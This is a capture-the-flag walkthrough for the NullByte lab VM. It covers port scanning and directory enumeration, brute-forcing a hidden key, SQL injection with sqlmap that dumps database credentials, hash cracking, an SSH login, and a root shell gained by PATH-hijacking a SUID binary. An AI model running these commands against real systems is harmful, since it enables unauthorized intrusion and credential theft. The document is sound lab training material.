# NULLBYTE

## Scanning

#### Nmap

```
➜  ~ sudo nmap -A -p- -T4 nullbyte.vuln
Starting Nmap 7.91 ( https://nmap.org ) at 2021-08-13 11:51 EDT
Nmap scan report for nullbyte.vuln (172.16.129.141)
Host is up (0.0014s latency).
Not shown: 65531 closed ports
PORT      STATE SERVICE VERSION
80/tcp    open  http    Apache httpd 2.4.10 ((Debian))
|_http-server-header: Apache/2.4.10 (Debian)
|_http-title: Null Byte 00 - level 1
111/tcp   open  rpcbind 2-4 (RPC #100000)
| rpcinfo: 
|   program version    port/proto  service
|   100000  2,3,4        111/tcp   rpcbind
|   100000  2,3,4        111/udp   rpcbind
|   100000  3,4          111/tcp6  rpcbind
|   100000  3,4          111/udp6  rpcbind
|   100024  1          34372/tcp6  status
|   100024  1          45260/tcp   status
|   100024  1          53470/udp6  status
|_  100024  1          58576/udp   status
777/tcp   open  ssh     OpenSSH 6.7p1 Debian 5 (protocol 2.0)
| ssh-hostkey: 
|   1024 16:30:13:d9:d5:55:36:e8:1b:b7:d9:ba:55:2f:d7:44 (DSA)
|   2048 29:aa:7d:2e:60:8b:a6:a1:c2:bd:7c:c8:bd:3c:f4:f2 (RSA)
|   256 60:06:e3:64:8f:8a:6f:a7:74:5a:8b:3f:e1:24:93:96 (ECDSA)
|_  256 bc:f7:44:8d:79:6a:19:48:76:a3:e2:44:92:dc:13:a2 (ED25519)
45260/tcp open  status  1 (RPC #100024)
MAC Address: 00:0C:29:72:55:45 (VMware)
Device type: general purpose
Running: Linux 3.X|4.X
OS CPE: cpe:/o:linux:linux_kernel:3 cpe:/o:linux:linux_kernel:4
OS details: Linux 3.2 - 4.9
Network Distance: 1 hop
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

TRACEROUTE
HOP RTT     ADDRESS
1   1.42 ms nullbyte.vuln (172.16.129.141)

OS and Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 22.42 seconds
```

## Enumeration

### port 80

landing page

![](https://2593446664-files.gitbook.io/~/files/v0/b/gitbook-legacy-files/o/assets%2F-MjI3O1E4kELEZI73S1H%2F-MjjPlY33jmzzxefDKvX%2F-MjjQIwbEPNBlNSXcxwk%2Fimage.png?alt=media\&token=d221f31f-0594-44b2-99ea-d07475771eaa)

### Whatweb

```
➜  ~ sudo whatweb nullbyte.vuln
http://nullbyte.vuln [200 OK] Apache[2.4.10], Country[RESERVED][ZZ], HTTPServer[Debian Linux][Apache/2.4.10 (Debian)], IP[172.16.129.141], Title[Null Byte 00 - level 1]
```

### Check directory

```
➜  ~  gobuster dir -u http://nullbyte.vuln -w /usr/share/wordlists/dirb/big.txt 

===============================================================
Gobuster v3.1.0
by OJ Reeves (@TheColonial) & Christian Mehlmauer (@firefart)
===============================================================
[+] Url:                     http://nullbyte.vuln
[+] Method:                  GET
[+] Threads:                 10
[+] Wordlist:                /usr/share/wordlists/dirb/big.txt
[+] Negative Status codes:   404
[+] User Agent:              gobuster/3.1.0
[+] Timeout:                 10s
===============================================================
2021/08/13 11:56:52 Starting gobuster in directory enumeration mode
===============================================================
/.htpasswd            (Status: 403) [Size: 297]
/.htaccess            (Status: 403) [Size: 297]
/javascript           (Status: 301) [Size: 319] [--> http://nullbyte.vuln/javascript/]
/phpmyadmin           (Status: 301) [Size: 319] [--> http://nullbyte.vuln/phpmyadmin/]
/server-status        (Status: 403) [Size: 301]                                       
/uploads              (Status: 301) [Size: 316] [--> http://nullbyte.vuln/uploads/]   

===============================================================
2021/08/13 11:56:57 Finished
===============================================================
```

This challenge is CTF style ...

### IMG Metadata

lets check metadata of landing page image

```
➜  ~ curl http://nullbyte.vuln/main.gif -o img | exiftool img  
  % Total    % Received % Xferd  Average Speed   Time    Time     Time  Current
                                 Dload  Upload   Total   Spent    Left  Speed
100 16647  100 16647    0     0  2709k      0 --:--:-- --:--:-- --:--:-- 2709k
ExifTool Version Number         : 12.16
File Name                       : img
Directory                       : .
File Size                       : 16 KiB
File Modification Date/Time     : 2021:08:13 14:31:44-04:00
File Access Date/Time           : 2021:08:13 14:31:44-04:00
File Inode Change Date/Time     : 2021:08:13 14:31:44-04:00
File Permissions                : rw-r--r--
File Type                       : GIF
File Type Extension             : gif
MIME Type                       : image/gif
GIF Version                     : 89a
Image Width                     : 235
Image Height                    : 302
Has Color Map                   : No
Color Resolution Depth          : 8
Bits Per Pixel                  : 1
Background Color                : 0
Comment                         : P-): kzMb5nVYJw
Image Size                      : 235x302
Megapixels                      : 0.071
```

this line is interesting

`Comment : P-): kzMb5nVYJw`

![](https://2593446664-files.gitbook.io/~/files/v0/b/gitbook-legacy-files/o/assets%2F-MjI3O1E4kELEZI73S1H%2F-MjjPlY33jmzzxefDKvX%2F-MjjQSED4NM8NP3bwZzk%2Fimage.png?alt=media\&token=54bafcc1-e05a-4b41-9368-798787bcfed9)

intercept this page

![](https://2593446664-files.gitbook.io/~/files/v0/b/gitbook-legacy-files/o/assets%2F-MjI3O1E4kELEZI73S1H%2F-MjjPlY33jmzzxefDKvX%2F-MjjQUFfCKrtxQ9T1f2L%2Fimage.png?alt=media\&token=cd70144e-4056-414c-9fed-7bf2e14067a9)

brute forcing the only way

## Exploiting

### Brute forcing key

go for burp intruder

![](https://2593446664-files.gitbook.io/~/files/v0/b/gitbook-legacy-files/o/assets%2F-MjI3O1E4kELEZI73S1H%2F-MjjPlY33jmzzxefDKvX%2F-MjjQZSMB2hfA43xn2yu%2Fimage.png?alt=media\&token=9236c711-8279-486a-a8d3-c7b708a14e97)

for payload i will use Seclists `SecLists/Passwords/Common-Credentials/10k-most-common.txt`

![](https://2593446664-files.gitbook.io/~/files/v0/b/gitbook-legacy-files/o/assets%2F-MjI3O1E4kELEZI73S1H%2F-MjjPlY33jmzzxefDKvX%2F-MjjQdFvqFi3yc7t5Qok%2Fimage.png?alt=media\&token=23a81c9b-c31f-4fc1-ad75-4b0de3a19687)

**elite** is the key

![](https://2593446664-files.gitbook.io/~/files/v0/b/gitbook-legacy-files/o/assets%2F-MjI3O1E4kELEZI73S1H%2F-MjjPlY33jmzzxefDKvX%2F-MjjQgdW77WL219U65tO%2Fimage.png?alt=media\&token=f9ce1311-248d-4354-a9e3-b443fa420f0f)

press `<enter_key>` only _empty input_

![](https://2593446664-files.gitbook.io/~/files/v0/b/gitbook-legacy-files/o/assets%2F-MjI3O1E4kELEZI73S1H%2F-MjjPlY33jmzzxefDKvX%2F-MjjQj2PP2ckFLr90ar9%2Fimage.png?alt=media\&token=780f6bd5-db67-4caf-81ab-3f471e1eeeac)

### SQLmap

SQLmap against this input field

```
# identify DB
➜  ~ sqlmap -u 'http://nullbyte.vuln/kzMb5nVYJw/420search.php?usrtosearch=x' --dbs
. . .
available databases [5]:
[*] information_schema
[*] mysql
[*] performance_schema
[*] phpmyadmin
[*] seth
. . .
```

```
# dump data
➜  ~ sqlmap -u 'http://nullbyte.vuln/kzMb5nVYJw/420search.php?usrtosearch=' --batch  --dump -C User,Password -T user -D mysqlBB
. . .
+------------------+-------------------------------------------------------+
| User             | Password                                              |
+------------------+-------------------------------------------------------+
| root             | *18DC78FB0C441444482C7D1132C7A23D705DAFA7 (sunnyvale) |
| root             | *18DC78FB0C441444482C7D1132C7A23D705DAFA7 (sunnyvale) |
| root             | *18DC78FB0C441444482C7D1132C7A23D705DAFA7 (sunnyvale) |
| root             | *18DC78FB0C441444482C7D1132C7A23D705DAFA7 (sunnyvale) |
| debian-sys-maint | *BD9EDF51931EC5408154EBBB88AA01DA22B8A8DC             |
| phpmyadmin       | *18DC78FB0C441444482C7D1132C7A23D705DAFA7 (sunnyvale) |
+------------------+-------------------------------------------------------+
. . .
```

**Remember**

we have `/phpmyadmin` directory gobuster output

Credentials : `root:sunnyvale`

### phpMyAdmin

![](https://2593446664-files.gitbook.io/~/files/v0/b/gitbook-legacy-files/o/assets%2F-MjI3O1E4kELEZI73S1H%2F-MjjPlY33jmzzxefDKvX%2F-MjjQo1KlxeORWySfOsc%2Fimage.png?alt=media\&token=ce70664b-4481-494e-b7c4-992da1350a86)

dive to Database: seth Table: users

![](https://2593446664-files.gitbook.io/~/files/v0/b/gitbook-legacy-files/o/assets%2F-MjI3O1E4kELEZI73S1H%2F-MjjPlY33jmzzxefDKvX%2F-MjjQqrEIc-fWYKLcaYy%2Fimage.png?alt=media\&token=ab31d497-e278-4f90-b064-e07751fc49f2)

Credentials : `ramses` pass is hashed lets crack it :)

`YzZkNmJkN2ViZjgwNmY0M2M3NmFjYzM2ODE3MDNiODE`

decode base64

`c6d6bd7ebf806f43c76acc3681703b81`

crack the hash

`omega` _i used_ [_hashes.com_](https://hashes.com/en/decrypt/hash) _for hole process_

Credentials : `ramses:omega`

### SSH Connection

now lets connect to machine using SSH _port 777_

```
➜  ~ ssh ramses@nullbyte.vuln -p 777
The authenticity of host '[nullbyte.vuln]:777 ([172.16.129.141]:777)' can't be established.
ECDSA key fingerprint is SHA256:H/Y/TKggtnCfMGz457Jy6F6tUZPrvEDD62dP9A3ZIkU.
Are you sure you want to continue connecting (yes/no/[fingerprint])? yes
Warning: Permanently added '[nullbyte.vuln]:777,[172.16.129.141]:777' (ECDSA) to the list of known hosts.
ramses@nullbyte.vuln's password: 

The programs included with the Debian GNU/Linux system are free software;
the exact distribution terms for each program are described in the
individual files in /usr/share/doc/*/copyright.

Debian GNU/Linux comes with ABSOLUTELY NO WARRANTY, to the extent
permitted by applicable law.
Last login: Sun Aug  2 01:38:58 2015 from 192.168.1.109
ramses@NullByte:~$
```

* [x] Regular User Account Access

## Privilege Escalation

### SUID binary

```
ramses@NullByte:/var/www/backup$ find / -uid 0 -perm -4000 -type f 2>/dev/null
/usr/lib/openssh/ssh-keysign
/usr/lib/policykit-1/polkit-agent-helper-1
/usr/lib/eject/dmcrypt-get-device
/usr/lib/pt_chown
/usr/lib/dbus-1.0/dbus-daemon-launch-helper
/usr/bin/procmail
/usr/bin/chfn
/usr/bin/newgrp
/usr/bin/chsh
/usr/bin/gpasswd
/usr/bin/pkexec
/usr/bin/passwd
/usr/bin/sudo
/usr/sbin/exim4
/var/www/backup/procwatch
/bin/su
/bin/mount
/bin/umount
/sbin/mount.nfs
```

this file looks ... interesting :joy: `/var/www/backup/procwatch` lets take a look ...

```
ramses@NullByte:/var/www/backup$ ./procwatch
  PID TTY          TIME CMD
 1487 pts/0    00:00:00 procwatch
 1488 pts/0    00:00:00 sh
 1489 pts/0    00:00:00 ps
```

this file trigger `ps` command lets abuse it

```
ramses@NullByte:/var/www/backup$ export PATH=/var/www/backup:$PATH
ramses@NullByte:/var/www/backup$ touch ps
ramses@NullByte:/var/www/backup$  echo '/bin/sh -i' > ps
ramses@NullByte:/var/www/backup$ chmod 777 ps
ramses@NullByte:/var/www/backup$ ./procwatch
# whoami
root
```

* [x] Root User Account Access
